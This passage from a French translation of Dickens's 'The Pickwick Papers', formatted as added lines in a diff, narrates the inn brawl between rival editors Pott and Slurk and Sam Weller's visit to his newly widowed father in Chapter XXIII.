+referma la gazette, en disant: «Voilà monsieur, voilà l'état de la
+question.»
+
+L'aubergiste et le garçon entrant en ce moment avec le dîner, M. Pott
+posa son doigt sur ses lèvres, pour indiquer qu'il comptait sur la
+discrétion de M. Pickwick, et qu'il le regardait comme maître de sa vie.
+M. Bob Sawyer et Benjamin Allen, qui s'étaient irrévéremment endormis
+pendant la lecture de la Gazette, furent réveillés par la prononciation
+à voix basse de ce mot cabalistique: _dîner_, et se mirent à table, avec
+bon appétit.
+
+Pendant le repas et la séance qui lui succéda, M. Pott, descendant pour
+quelques instants à des sujets domestiques, informa M. Pickwick que
+l'air d'Eatanswill ne convenant pas à son épouse, elle était allée
+visiter différents établissements fashionables d'eaux thermales, afin de
+recouvrer sa bonne humeur, et sa santé accoutumée. C'était là une
+manière délicate de voiler le fait, que Mme Pott, exécutant sa menace de
+séparation souvent répétée, et en vertu d'un arrangement arraché à M.
+Pott par son frère le lieutenant, s'était retirée pour vivre, avec son
+fidèle garde du corps, de la moitié des profits annuels provenant de la
+vente de la gazette d'Eatanswill.
+
+Tandis que l'illustre journaliste, quels que fussent les différents
+sujets qu'il traitât, embellissait la conversation par des passages
+extraits de ses propres élucubrations, un majestueux étranger, mettant
+la tête à la portière d'une diligence qui se rendait à Birmingham, et
+qui s'était arrêtée devant l'auberge pour y laisser quelques paquets,
+demanda s'il pouvait trouver dans l'hôtel un bon lit.
+
+«Certainement, monsieur, répliqua l'hôte.
+
+--En êtes-vous sûr? puis-je y compter? reprit l'étranger, dont les
+regards et les manières avaient quelque chose de soupçonneux.
+
+--Sans aucun doute, monsieur.
+
+--Bien. Cocher, je reste ici. Conducteur, mon sac de nuit.»
+
+Puis ayant dit bonsoir aux autres passagers, d'un air d'assez mauvaise
+humeur, l'étranger descendit. C'était un petit gentleman, dont les
+cheveux noirs et roides étaient taillés en hérisson, ou si l'on aime
+mieux en brosse, et se tenaient tout droits sur sa tête. Son aspect
+était pompeux et menaçant; ses manières péremptoires, ses yeux perçants
+et inquiets; toute sa tournure, enfin, annonçait le sentiment d'une
+grande confiance en soi-même, et la conscience d'une incommensurable
+supériorité sur tout le reste du monde.
+
+Ce gentleman fut introduit dans la chambre, originairement assignée au
+patriote M. Pott, et le garçon remarqua, avec un muet étonnement, que la
+chandelle était à peine allumée quand l'étranger, plongeant la main dans
+son chapeau, en tira un journal, et commença à le lire avec la morne
+expression d'indignation et de mépris, qui avait jailli une heure
+auparavant du regard majestueux de M. Pott. Il se rappela aussi que
+l'indignation de M. Pott avait été allumée par un journal nommé
+l'_Indépendant d'Eatanswill_, tandis que le profond mépris du nouveau
+gentleman était excité par une feuille intitulée: _La gazette
+d'Eatanswill_.
+
+«Envoyez-moi le maître de l'hôtel, dit l'étranger.
+
+--Oui, monsieur.»
+
+L'hôte arriva bientôt après.
+
+«Êtes-vous le maître de l'hôtel? demanda l'étranger.
+
+--Oui, monsieur.
+
+--Me connaissez-vous?
+
+--Je n'ai pas ce plaisir-là, monsieur.
+
+--Mon nom est _Slurk_.»
+
+L'hôte inclina légèrement la tête.
+
+«Slurk, monsieur! répéta le gentleman d'un air hautain. Me
+connaissez-vous, maintenant, aubergiste?»
+
+L'hôte se gratta la tête, regarda le plafond, puis l'étranger, et sourit
+faiblement.
+
+«Me connaissez-vous?»
+
+L'hôte parut faire un grand effort, et répondit à la fin:
+
+«Non monsieur, je ne vous connais pas.
+
+--Grand Dieu! s'écria l'étranger en frappant la table de son poing;
+voilà donc ce que c'est que la popularité!»
+
+L'hôte recula d'un pas ou deux vers la porte, et l'étranger poursuivit,
+en le suivant des yeux:
+
+«Voilà donc la reconnaissance que l'on accorde à des années d'étude et
+de travail, sacrifiées en faveur des masses! Je descends de voiture,
+mouillé, fatigué, et les habitants ne s'empressent point pour féliciter
+leur champion; leurs cloches sont silencieuses; mon nom même ne réveille
+aucune gratitude dans leur esprit plein de torpeur. N'est-ce pas assez,
+continua M. Slurk en se promenant avec agitation, n'est-ce pas assez
+pour faire bouillonner l'encre d'un homme dans sa plume, et pour le
+décider à abandonner leur cause à jamais!
+
+--Monsieur demande un grog à l'eau-de-vie? dit l'hôte en hasardant une
+insinuation.
+
+--Au rhum! répondit Slurk en se tournant vers lui d'un air farouche.
+Avez-vous du feu quelque part?
+
+--Nous pouvons en allumer sur-le-champ, monsieur.
+
+--Oui! et qu'il donne de la chaleur à l'instant de me coucher. Y a-t-il
+quelqu'un dans la cuisine?
+
+--Pas une âme, monsieur. Il y a un feu superbe; tout le monde s'est
+retiré et la porte est fermée pour la nuit.
+
+--C'est bien! je boirai mon grog près du feu de la cuisine.»
+
+Et là-dessus, reprenant majestueusement son chapeau et son journal,
+l'étranger marcha d'un pas solennel derrière l'hôte. Arrivé dans la
+cuisine, il se jeta sur un siége, au coin du feu, reprit sa physionomie
+méprisante, et commença à lire et à boire, avec une dignité silencieuse.
+
+Or, un démon de discorde, volant en ce moment au-dessus de la tête du
+Sarrazin, et jetant les yeux en bas, par pure curiosité, aperçut Slurk,
+confortablement établi au coin du feu de la cuisine et, dans une autre
+chambre, Pott, légèrement exalté par le vin. Aussitôt le malicieux
+démon, s'abattant dans ladite chambre avec une inconcevable rapidité, et
+s'introduisant du même temps dans la tête de Bob Sawyer, lui souffla le
+discours suivant.
+
+«Dites donc, nous avons laissé éteindre le feu; cette pluie a joliment
+refroidi l'air.
+
+--C'est vrai, répondit M. Pickwick en frissonnant.
+
+--Ça ne serait pas une mauvaise idée de fumer un cigare au feu de la
+cuisine, hein! qu'en dites-vous? reprit Bob, toujours excité par le
+démon susdit.
+
+--Je crois que cela serait tout à fait confortable, répliqua M.
+Pickwick; qu'en pensez-vous, monsieur Pott?»
+
+M. Pott donna facilement son assentiment à la mesure proposée, et les
+quatre voyageurs se rendirent immédiatement à la cuisine, chacun d'eux
+tenant son verre à la main, et Sam Weller marchant à la tête de la
+procession, afin de montrer le chemin.
+
+L'étranger lisait encore. Il leva les yeux et tressaillit. M. Pott
+recula d'un pas.
+
+«Qu'est-ce qu'il y a? chuchota M. Pickwick.
+
+--Ce reptile! répliqua Pott.
+
+--Quel reptile? s'écria M. Pickwick en regardant autour de lui, de peur
+de marcher sur une limace gigantesque ou sur une araignée hydropique.
+
+--Ce reptile! murmura Pott en prenant M. Pickwick par le bras, et lui
+montrant l'étranger; ce reptile, Slurk, de _l'Indépendant_.
+
+--Nous ferions peut-être mieux de nous retirer? demanda M. Pickwick.
+
+--Jamais, monsieur, jamais!» répliqua Pott; et prenant position à
+l'autre coin de la cheminée, il choisit un journal dans son paquet et
+commença à lire en face de son ennemi.
+
+M. Pott naturellement lisait l'_Indépendant_, et M. Slurk lisait _la
+Gazette_, et chaque gentleman exprimait son mépris pour les compositions
+de l'autre par des ricanements amers et par des reniflements
+sarcastiques. Ensuite ils passèrent à des manifestations plus ouvertes,
+telles que: Absurde! misérable! atrocité! blague! coquinerie! boue!
+fange! ordure! et autres remarques critiques d'une nature semblable.
+
+MM. Bob Sawyer et Ben Allen avaient tous les deux observé ces symptômes
+de rivalité avec un plaisir intime, qui ajoutait beaucoup de goût au
+cigare, dont ils tiraient de vigoureuses bouffées. Lorsque le feu
+roulant d'observations commença à s'apaiser, le malicieux Bob,
+s'adressant à Slurk avec une grande politesse, lui dit: «Voudriez-vous
+me permettre de jeter les yeux sur ce journal, quand vous l'aurez fini,
+monsieur?
+
+--Vous trouverez peu de chose qui mérite d'être lu dans ces méprisables
+gasconnades, répondit Slurk en lançant à son rival un regard satanique.
+
+--Je vais vous donner celui-ci sur-le-champ, dit Pott en levant sa
+figure, pâle de rage, et avec une voix que la même cause rendait
+tremblante: vous serez amusé par l'ignorance de cet écrivassier.»
+
+Une terrible emphase fut mise sur ces mots: _méprisables_ et
+_écrivassier_, et le visage des deux éditeurs commença à prendre une
+expression provocatrice.
+
+«La galimatias et l'infamie de ce misérable sont par trop dégoûtants,»
+poursuivit Pott en affectant de s'adresser à M. Bob Sawyer, tout en
+jetant un regard menaçant à M. Slurk.
+
+M. Slurk se mit à rire de tout son coeur, et, repliant le papier de
+manière à passer à la lecture d'une nouvelle colonne, déclara que,
+malgré tout, il ne pouvait s'empêcher de rire des absurdités de cet
+imbécile.
+
+«Quelle ignorance crasse! s'écria Pott en passant du rouge au cramoisi.
+
+--Avez-vous jamais lu les sottises de cet homme? demanda Slurk à Bob
+Sawyer.
+
+--Jamais. C'est donc bien mauvais?
+
+--Détestable!
+
+--Réellement! s'écria Pott, feignant d'être absorbé dans sa lecture;
+ceci est par trop infâme!»
+
+Slurk tendit son journal à Bob Sawyer en lui disant: «Si vous avez le
+courage de parcourir cet amas de méchancetés, de bassesses, de
+faussetés, de parjures, de trahisons, d'hypocrisies, vous aurez
+peut-être quelque plaisir à rire du style peu grammatical de ce cuistre
+ignorant.
+
+--Qu'est-ce que vous dites, monsieur? s'écria Pott en relevant sa tête,
+toute tremblante de fureur.
+
+--Cela ne vous regarde pas, monsieur.
+
+--Ne disiez-vous pas, style peu grammatical, cuistre ignorant, monsieur?
+
+--Oui, monsieur, répliqua Slurk; je dirai même _style de haut
+embêtement_, si cela peut vous faire plaisir.»
+
+M. Pott ne répliqua rien, mais ayant soigneusement replié son
+indépendant, il le jeta par terre, l'écrasa sous sa botte, cracha
+dessus, en grande cérémonie, et le lança dans le feu.
+
+«Voilà, dit-il en reculant sa chaise, voilà comme je traiterais le
+serpent qui a vomi ce venin, si je n'étais pas retenu, heureusement pour
+lui, par les lois de ma patrie. Oui, sans cette considération, je le
+traiterais de même.
+
+--Traitez-le donc de même, monsieur! cria Slurk en se levant. Il n'en
+appellera jamais aux lois dans un cas semblable. Traitez-le donc de
+même, monsieur!
+
+--Écoutez, écoutez! dit Bob Sawyer.
+
+--Rien ne saurait être plus loyal, fit observer Ben Allen.
+
+--Traitez-le donc de même, monsieur, répéta Slurk d'un ton élevé.»
+
+M. Pott lui darda un regard de mépris qui aurait glacé une fournaise.
+
+«Traitez-le donc de même! continua l'autre, d'une voix encore plus
+stridente.
+
+--Je ne le veux pas, monsieur, répondit Pott.
+
+--Oh! vous ne le voulez pas? Vraiment vous ne le voulez pas? reprit
+Slurk d'un air provoquant. Vous entendez cela, messieurs, il ne le veut
+pas! Ce n'est pas qu'il ait peur, au moins; oh! non, il ne le veut pas,
+ah! ah! ah!
+
+--Monsieur, rétorqua Pott ému par ce sarcasme; je vous regarde comme une
+vipère. Je vous considère comme un homme qui s'est mis en dehors de la
+société, par sa conduite impudente, dégoûtante, abominable. Vous n'êtes
+plus pour moi, personnellement ou politiquement, qu'une vipère, une pure
+et simple vipère!»
+
+L'Indépendant indigné n'attendit pas la fin de cette déclaration, mais
+saisissant son sac de nuit, qui était raisonnablement garni de biens
+meubles, il le fit tourner en l'air pendant que Pott s'éloignait, et le
+laissant retomber avec un grand fracas, sur la tête du gazetier,
+l'étendit tout de son long sur le carreau.
+
+«Messieurs! s'écria M. Pickwick, pendant que Pott se relevait et
+saisissait la pelle; messieurs, réfléchissez, au nom du ciel! Du
+secours! Sam! ici. Je vous en supplie, messieurs... Aidez-moi donc à les
+séparer!»
+
+Tout en prononçant ces exclamations incohérentes, M. Pickwick s'était
+précipité entre les deux combattants, juste à temps pour recevoir, sur
+ses épaules, le sac de nuit d'un côté et la pelle de l'autre. Soit que
+les organes de l'opinion publique d'Eatanswill fussent aveuglés par leur
+animosité, soit qu'étant tous deux de subtils raisonneurs, ils eussent
+vu l'avantage d'avoir entre eux un tiers parti pour recevoir les coups,
+il est certain qu'ils ne firent pas la plus légère attention au
+philosophe, mais que, se défiant mutuellement avec audace, ils
+continuèrent à employer la pelle et le sac de nuit. M. Pickwick aurait
+sans doute cruellement souffert de son trop d'humanité, si Sam, attiré
+par les cris de son maître, n'était pas accouru en cet instant, et,
+saisissant un sac à farine, n'avait pas efficacement arrêté le conflit
+en l'enfonçant sur la tête et sur les épaules du puissant Pott, et en le
+serrant au-dessous des coudes.
+
+«Ôtez le sac de nuit à l'autre enragé! cria-t-il en même temps, à MM.
+Ben Allen et Bob Sawyer qui jusqu'alors s'étaient contentés de voltiger
+autour des combattants, une lancette à la main, prêts à saigner le
+premier individu étourdi. Lâchez votre sac, misérable petite créature,
+ou je vous étouffe là dedans!»
+
+Intimidé par cette menace, et d'ailleurs tout à fait hors d'haleine,
+l'Indépendant consentit à se laisser désarmer. Sam ôta alors l'éteignoir
+qu'il tenait sur Pott, et le laissa libre en lui disant: «Allez vous
+coucher tranquillement, ou bien je vous mettrai tous les deux dans le
+sac, je le fermerai, et je vous laisserai battre dedans à votre aise. Et
+quand vous seriez douze, je vous en ferais autant, pour vous apprendre à
+vous conduire de la sorte!
+
+--Vous, monsieur, continua-t-il en s'adressant à son maître, ayez la
+bonté de venir par ici, s'il vous plaît.»
+
+En parlant ainsi il prit M. Pickwick par le bras et l'emmena, tandis que
+les éditeurs rivaux étaient conduits vers leurs lits par l'aubergiste,
+sous l'inspection de MM. Ben Allen et Bob Sawyer. Chemin faisant, les
+deux combattants exhalaient encore leur courroux en menaces
+sanguinaires, et se donnaient de vagues et féroces rendez-vous pour le
+lendemain. Toutefois, quand ils y eurent mieux pensé, ils trouvèrent que
+la presse était l'arme la plus redoutable: ils recommencèrent donc sans
+délai leurs sanglantes hostilités, et tout Eatanswill fut effrayé de
+leur valeur... sur le papier.
+
+Le jour suivant nos amis apprirent que les éditeurs étaient partis, dès
+le matin, par des voitures différentes, et comme le temps s'était
+éclairci, ils se mirent en route pour Londres.
+
+
+
+
+CHAPITRE XXIII.
+
+Annonçant un changement sérieux dans la famille Weller, et la chute
+prématurée de l'homme au nez rouge.
+
+
+Croyant que la délicatesse ne lui permettait point de présenter, sans
+préparation, MM. Bob Sawyer et Ben Allen au nouveau ménage, et désirant
+ménager, autant que possible, la sensibilité d'Arabelle, M. Pickwick
+proposa à ses compagnons de descendre, pour le moment, quelque part et
+de le laisser aller seul, avec Sam, à l'hôtel de _George et Vautour_.
+Ils y consentirent facilement et prirent, en conséquence, leurs
+quartiers dans une taverne située sur les confins du _Borough_. Ils s'y
+trouvaient en pays de connaissance, car, en d'autre temps, leurs noms y
+avaient souvent brillé en tête de certains calculs longs et complexes
+enregistrés à la craie derrière la porte.
+
+«Tiens, c'est vous? Bonjour, monsieur Weller, dit la jolie femme de
+chambre, lorsqu'elle rencontra Sam à la porte.
+
+--C'est toujours un bon jour quand je vous vois, ma chère, répondit Sam
+en restant en arrière, de manière à n'être pas entendu de son maître.
+Quelle jolie créature vous faites, Mary!
+
+--Allons! monsieur Weller, quelles folies vous dites! Oh! finissez donc,
+monsieur Weller.
+
+--Finissez quoi, ma chère?
+
+--Eh! mais ce que vous faites.... Laissez-moi donc monsieur Weller, dit
+la jolie bonne en souriant et en poussant Sam contre le mur. Vous avez
+chiffonné mon bonnet, défrisé mes cheveux, et vous m'empêchez de vous
+dire qu'il y a ici une lettre qui vous attend depuis trois jours. Vous
+ne faisiez que de partir quand elle est arrivée, et il y a _pressée_
+dessus.
+
+--Où est-elle, mon amour?
+
+--J'en ai pris soin à cause de vous; autrement je suis bien sûre
+qu'elle aurait été perdue depuis longtemps. En vérité, c'est plus que
+vous ne méritez.»
+
+Tout en parlant ainsi et en exprimant avec une petite coquetterie
+charmante des doutes, des craintes, de l'espoir, sur la conservation de
+la lettre, Mary la tira de la plus jolie petite guimpe qu'on puisse
+imaginer, et la tendit à Sam, qui la baisa aussitôt avec beaucoup de
+galanterie et de dévotion.
+
+«Tiens, tiens, dit Mary en ajustant sa collerette avec une feinte
+ignorance; vous avez l'air d'être devenu bien amoureux de cette
+écriture-là tout d'un coup?»
+
+Sam ne répondit que par une oeillade, dont l'expression brûlante ne
+pourrait être rendue par aucune description; puis s'asseyant auprès de
+Mary, sur l'appui de la fenêtre, il ouvrit la lettre et en examina le
+contenu.
+
+«Ohé! s'écria-t-il, qu'est-ce que ça veut dire?
+
+--Pas de malheur, j'espère? dit Mary en regardant par-dessus son épaule.
+
+--Que Dieu bénisse vos jolis yeux! s'écria Sam en se retournant.
+
+--Ne vous occupez pas de mes yeux et pensez à votre lettre,» rétorqua la
+charmant bonne.
+
+Mais en parlant ainsi, elle lui décochait un regard où brillait tant de
+malice et de vivacité qu'il était absolument irrésistible.
+
+Sam se rafraîchit donc d'un baiser, et lut ensuite ce qui suit:
+
+«Markis Gran by Dorken, mekerdi.
+
+«Mon cher Saumule,
+
+«Je suis très fâché davoir le plésir de vous anonser des môvèses
+nouvelles. Votre Belmaire a atrappé un rumhe en conséquance quelle a u
+limprudanse de rester trop lontems assise sur le gason humid a la pluie
+pour antendre un berger qui navet pas pu tenir son bec que tré tar dent
+la nui parce qui sétait si bien monté avec du grogue qui na pas pu
+sarrêter aveng deitre un peu dégrisé ce ka pris plusieurres heurres le
+docteur dit que si elle avait pris du grogue chaux aprais au lieur de le
+prandre avent elle naurait pas été endommajait. Ses roues a été
+immédiatement graisé et on a fai tout ce quel on a pu pour la faire
+rouler Votre père espérait quel pourait marché comme à lordinairre mais
+juste comme elle tournais le coin mon garson elle a pris le mauves
+chemin et elle a dégring aulet la montagne avec une vellocité comme on
+nen na jamès veu et malgré que le médecin a voulu lenrayer ça na servi
+de rien du tout car elle a fait son dernier relai ière souarre à si
+zeurre moins vin minnutes ayant fait le voilliage en baucoup moins de
+temsp qu'à lordinaire peut hêtre parce quelle avait pris trô peu de
+bagaje en route. Votre père dit que si vous voulez venir me voir samy il
+en sera bien satisfèz car je suis for sollitaire sammivel. N.B. il veut
+que ça soit hortografhié comme cela que je dis qui naît pas bien et
+comme il y a beaucoup de chose à arrranger il hait sûr que votre
+gouvernur ne si refusera pas bien sûr qu'il ne si refuserra pas samy car
+je le connais bien ainsil vous envoie ses devoirs auquels je me joint et
+suis pour la vie infernalement dévoué,
+
+_Votre père_ TONY VELLER»
+
+«Quelle drôle de lettre, dit Sam. Y a-t-il moyen de comprendre ce qu'il
+veut dire avec ses _il_ et ses _je_. Ce n'est pas l'écriture de mon
+père, excepté cette signature ici en lettres moulées. Ça c'est sa
+griphe.
+
+--Peut-être qu'il l'a fait écrire par quelqu'un et qu'il a signé
+ensuite, dit la jolie femme de chambre.
+
+--Attendez un peu, reprit Sam en parcourant la lettre de nouveau et en
+s'arrêtant ça et là pour réfléchir. Vous avez raison. Le gentleman qui
+l'a écrite racontait le malheur qui est arrivé d'une manière convenable,
+et alors v'là le père qui vient regarder par-dessus son épaule et qui
+complique l'histoire en y fourrant son nez. C'est précisément comme ça
+qu'il fait toujours. Vous avez raison, Mary, ma chère.»
+
+S'étant mis l'esprit en repos sur ce point, Sam relut encore la lettre,
+et paraissant, pour la première fois, se faire une idée nette de son
+contenu, il la referma d'un air pensif en disant:
+
+«Ainsi la pauvre créature est morte. J'en suis fâché: elle n'aurait pas
+eu un mauvais caractère, si ces bergers l'avaient laissée tranquille.
+J'en suis très-fâché.»
+
+Sam murmura ces paroles d'un air si sérieux que la jolie bonne baissa
+les yeux et prit une physionomie grave.
+
+«Quoi qu'il en soit, poursuivit Sam en mettant la lettre dans sa poche
+avec léger soupir, ça devait arriver comme ça, et il n'y a plus de
+remède maintenant, comme dit la vieille lady, après avoir épousé son
+domestique. C'est-il pas vrai, Mary?»
+
+Mary secoua la tête et soupira aussi.
+
+«Il faut que je demande un congé à l'empereur, maintenant.»
+
+Mary soupira encore; la lettre était si touchante.
+
+«Adieu, dit Sam.
+
+--Adieu, répondit la jolie bonne en détournant la tête.
+
+--Une poignée de mains. Est-ce que vous ne voulez pas?»
+
+La jolie bonne tendit une main qui était fort petite, quoique ce fut la
+main d'une bonne. Puis elle se leva pour s'en aller.
+
+«Je ne serai pas bien longtemps, dit Sam.
+
+--Vous êtes toujours absent, répliqua Mary en donnant à sa tête la plus
+légère secousse possible. Vous n'êtes pas plus tôt revenu que vous voilà
+reparti, monsieur Weller.»
+
+Sam attira plus près de lui la beauté domestique et commença à lui
+parler à voix basse. Bientôt elle retourna son visage et consentit à le
+regarder de nouveau, de sorte que, quand ils se séparèrent, elle fut
+obligée d'aller dans sa chambre pour rarranger son bonnet et ses
+cheveux, avant de se rendre auprès de sa maîtresse. Tout en montant
+légèrement les escaliers, elle faisait encore à Sam, par-dessus la
+rampe, un grand nombre de signes et de sourires.
+
+«Je ne serai pas plus d'un jour ou deux, monsieur, dit Sam à M.
+Pickwick.
+
+--Aussi longtemps qu'il sera nécessaire, Sam; vous avez toute permission
+de rester.»
+
+Sam salua.
+
+«Vous direz à votre père que si je puis lui être de quelque utilité, je
+suis prêt à faire pour lui tout ce qui sera en mon pouvoir.
+
+--Je vous remercie bien, monsieur; je le lui dirai.»
+
+Ayant échangé ces expressions de bonne volonté et d'intérêt mutuel, le
+maître et le valet se séparèrent.
+
+Il était sept heures du soir quand Samuel Weller descendit du siége
+d'une voiture publique, qui passait par Dorking, à quelques cents pas du
+marquis de Granby. La soirée était triste et froide, la petite rue,
+noire et déserte, et le visage d'acajou du noble marquis, poussé à
+droite et à gauche par le vent qui le faisait craquer d'une manière
+lugubre, semblait plus mélancolique qu'à l'ordinaire; les jalousies
+étaient baissées, les volets fermés en partie; il n'y avait pas un seul
+flâneur devant la porte; la scène était silencieuse et désolée.
+
+Voyant qu'il ne se trouvait là personne pour répondre à des questions
+préliminaires, Sam entra doucement et aperçut bientôt le respectable
+auteur de ses jours.
+
+Le veuf était assis près d'une petite table dans le cabinet situé
+derrière le comptoir. Il fumait sa pipe et ses yeux étaient
+attentivement fixés sur le feu. Les funérailles avaient évidemment eu
+lieu le jour même, car une grande bande de crêpe noir d'environ une aune
+et demie était encore attachée à son chapeau qu'il avait gardé sur sa
+tête, et, passant par-dessus le dossier de sa chaise, descendait
+négligemment jusqu'à terre. M. Weller était dans une disposition si
+contemplative que Sam l'appela vainement plusieurs fois par son nom; il
+continua de fumer avec la même physionomie calme et immobile jusqu'au
+moment où son fils le réveilla définitivement en posant la main sur son
+épaule.
+
+«Sammy, dit M. Weller, tu es le bienvenu.
+
+--Je vous ai appelé une demi-douzaine de fois, répondit Sam en
+accrochant son chapeau à une patère; mais vous ne m'entendiez pas.
+
+--C'est vrai, répliqua M. Weller en regardant encore le feu d'une
+manière pensive; j'étais dans une _réverri_, Sammy.
+
+--Qu'est-ce que ça? demanda Sam, en tirant une chaise près du foyer.
+
+--Je pensais à elle.» En disant ces mots, le veuf inclina sa tête du
+côté du cimetière de Dorking, pour indiquer que ses paroles se
+rapportaient à la défunte Mme Weller. «Je pensais, poursuivit-il en
+regardant fixement son fils par-dessus sa pipe, comme pour l'assurer que
+la déclaration qu'il allait entendre, tout extraordinaire, tout
+incroyable qu'elle fût, était proférée avec calme et réflexion, je
+pensais qu'après tout, je suis très-fâché qu'elle est partie.
+
+--Eh bien! vous devez l'être.»
+
+M. Weller fit un signe d'assentiment, et fixant de nouveau ses yeux sur
+le feu, s'enveloppa dans un nuage de fumée et de réflexions.
+
+Après un long silence, il reprit, en chassant la fumée avec sa main:
+
+«C'est des observations très-raisonnables qu'elle m'a fait, Sammy.
+
+--Quelles observations?
+
+--Celles qu'elle m'a faites quand elle a été malade.
+
+--Qu'est-ce que c'était?
+
+--Quelque chose comme ceci: «Weller, qu'elle dit, j'ai peur que je n'ai
+pas z'été avec vous comme j'aurais dû être. Vous étiez un brave homme,
+avec un bon coeur, et j'aurais pu vous rendre votre maison plus
+confortable. Maintenant qu'il est trop tard, dit-elle, je m'aperçois que
+si une femme mariée veut s'montrer dévote, il faut qu'elle commence par
+remplir ses devoirs dans sa maison, et qu'elle rende ceux qui sont
+autour d'elle confortables et heureux. Pourvu qu'elle aille à l'église
+ou à la chapelle en temps convenable, il ne faut pas qu'elle se serve de
+ces sortes de choses pour excuser sa paresse ou sa gourmandise, ou bien
+pire. J'ai fait tout ça, dit-elle, et j'ai dépensé mon temps et mon
+argent pour des gens qui employaient leur temps encore plus mal que moi.
+Mais quand je serai partie, Weller, j'espère que vous vous rappellerez
+de moi, telle que j'étais réellement par mon naturel avant d'avoir connu
+ces gens-là.»--Suzanne, que je lui ai dit--j'avais été pris un peu court
+par cette remarque-là, Samivel, je ne veux pas le nier, mon garçon--.
+«Suzanne, que je lui ai dit, vous avez été une très-bonne femme pour moi
+au total; ainsi ne parlons plus de cela. Reprenez bon courage, ma chère,
+et vous vivrez encore assez longtemps pour me voir ramollir la tête de
+ce Stiggins.» Ça l'a fait sourire, Samivel, dit le vieux gentleman en
+étouffant un soupir avec sa pipe. Mais elle est morte tout de même!»
+
+Au bout de trois ou quatre minutes consumées par l'honnête cocher à
+balancer lentement sa tête d'une épaule à l'autre, en fumant
+solennellement, Sam crut devoir se hasarder à lui offrir quelques lieux
+communs de consolation:
+
+«Allons, gouverneur, dit-il, faut bien que nous en passions tous par là
+un jour ou l'autre.
+
+--C'est vrai, Sammy.
+
+--Il y a une providence dans tout ça.
+
+--Certainement, répondit le père avec un signe d'approbation réfléchie;
+sans cela, que deviendraient les entrepreneurs des pompes funèbres?»
+
+Perdu dans le champ immense de conjectures ouvert par cette réflexion,
+M. Weller posa sa pipe sur la table et attisa le feu d'un air pensif.
+
+Tandis qu'il était ainsi occupé, une cuisinière grassouillette, vêtue de
+deuil, et qui, depuis quelques instants, avait l'air ranger le comptoir,
+se glissa dans la chambre, et, accordant à Sam plusieurs sourires de
+reconnaissance, se plaça silencieusement derrière la chaise de M.
+Weller, auquel elle annonça sa présence par une légère toux, répétée
+bientôt après sur un ton beaucoup plus élevé.
+
+«Ohé! dit M. Weller en reculant précipitamment sa chaise et en se
+retournant si vite qu'il laissa tomber le fourgon, qu'est-ce qu'il y a
+maintenant?
+
+--Prenez une petite tasse de thé, mon bon monsieur Weller dit d'une voix
+câline la cuisinière grassouillette.
+
+--Je n'en veux pas, répliqua brusquement le cocher. Allez vous-en à
+tous.... Allez vous promener, dit-il en sa reprenant et d'un ton plus
+bas.
+
+--Voyez donc comme le malheur change le monde! s'écria la dame en levant
+les yeux au ciel.
+
+--Ça ne me fera pas changer d'état au moins, murmura M. Weller.
+
+--Réellement, je n'ai jamais vu un homme de si mauvaise humeur!
+
+--Ne vous inquiétez pas; c'est pour mon bien, comme disait l'écolier
+pour se consoler quand on lui donnait le fouet.»
+
+La dame potelée hocha la tête d'un air plein de sympathie, et
+s'adressant à Sam, lui demanda s'il ne pensait pas que son père devrait
+faire un effort pour se remonter et ne pas céder à son abattement.
+
+«Voyez-vous, monsieur Samuel, poursuivit-elle, c'est ce que je lui
+disais avant z'hier. I'sentira qu'il est bien seul. Ça ne se peut pas
+autrement, monsieur; mais il devrait tâcher de prendre courage, car je
+suis sûre que nous le plaignons bien et que nous sommes prêtes à faire
+ce que nous pourrons pour le consoler. Il n'y a point dans la vie de
+situation si malheureuse qu'on ne puisse l'amender, et c'est ce qu'une
+personne très-digne me disait quand mon mari est mort.»
+
+Ici l'orateur potelé, mettant sa main devant sa bouche, toussa encore et
+regarda affectueusement M. Weller.
+
+«Comme je n'ai pas besoin de vot'conversation dans ce moment, ma'm,
+voulez-vous avoir l'obligeance de vous retirer, lui dit le cocher d'une
+voix grave et ferme.
+
+--Bien, bien, monsieur Weller! Je ne vous ai parlé que par bonté d'âme
+pour sûr.
+
+--C'est très-probable, ma'm. Samivel, reconduisez madame, et fermez la
+porte après elle.»
+
+Cette insinuation ne fut pas perdue pour la cuisinière grassouillette,
+car elle quitta la chambre sans délai, et jeta violemment la porte
+derrière elle.
+
+Alors M. Weller retombant sur sa chaise, dans une violente
+transpiration:
+
+«Sammy, dit-il, si je restais ici tout seul une semaine, rien qu'une
+semaine, mon garçon, je suis sûr que cette femme-là m'épouserait de
+force.
+
+--Elle vous aime donc furieusement?
+
+--Je le crois bon qu'elle m'aime; je ne puis pas la faire tenir. Si
+j'étais enfermé dans un coffre-fort de fer, avec une serrure brevetée,
+elle trouverait moyen d'arriver jusqu'à moi.
+
+--C'est terrible d'être recherché comme cela! fit observer Sam en
+souriant.
+
+--Je n'en tire pas d'orgueil, Sammy, répliqua M. Weller en attisant le
+feu avec véhémence. C'est une horrible situation! Je suis positivement
+chassé de ma maison à cause de cela. À peine si les yeux de vot' pauvre
+belle-mère étaient fermés, que v'là une vieille qui m'envoie un pot de
+confitures; une autre, un bocal de cornichons; une autre qui m'apporte
+elle-même une grande cruche de tisane de camomille.» M. Weller s'arrêta
+avec un air de profond dégoût, et, regardant autour de lui, ajouta à
+voix basse: «C'étaient toutes des veuves, Sammy; toutes, excepté celle à
+la camomille, qu'était une jeune demoiselle de cinquante-trois ans.»
+
+Sam répondit à son père par un regard comique, et le vieux gentleman se
+mit à briser un gros morceau de charbon de terre, avec une physionomie
+aussi vindicative et aussi féroce que si ç'avait été la tête de l'une
+des veuves ci-mentionnées.
+
+«Enfin, Sam, poursuivit-il, je ne me sens pas en sûreté ailleurs que sur
+mon siége.
+
+--Comment y êtes-vous plus en sûreté qu'ailleurs? interrompit Sam.
+
+--Parce qu'un cocher est un être privilégié, répliqua M. Weller en
+regardant son fils fixement. Parce qu'un cocher peut faire, sans être
+soupçonné, ce qu'un autre homme ne peut pas faire; parce qu'un cocher
+peut être sur le pied le plus amicable avec quatre-vingt mille
+voyageuses du beau sexe, sans que personne pense jamais qu'il ait envie
+d'en épouser une seule. Y a-t-il un autre mortel qui puisse en dire
+autant, Sammy?
+
+--Vraiment, y a quelque chose là dedans, répondit Sam d'un air
+méditatif.
+
+--Si ton gouverneur avait été un cocher, crois-tu que les jurys
+l'auraient condamné? En supposant que les choses en seraient venues à
+ces extrêmités-là, ils n'auraient pas osé, mon garçon.
+
+--Pourquoi pas? demanda Sam dubitativement.
+
+--Pourquoi pas? Parce que ça aurait été contre leur conscience. Un
+véritable cocher est une sorte de trait-d'union entre le célibat et le
+mariage; tous les hommes pratiques savent cela.
+
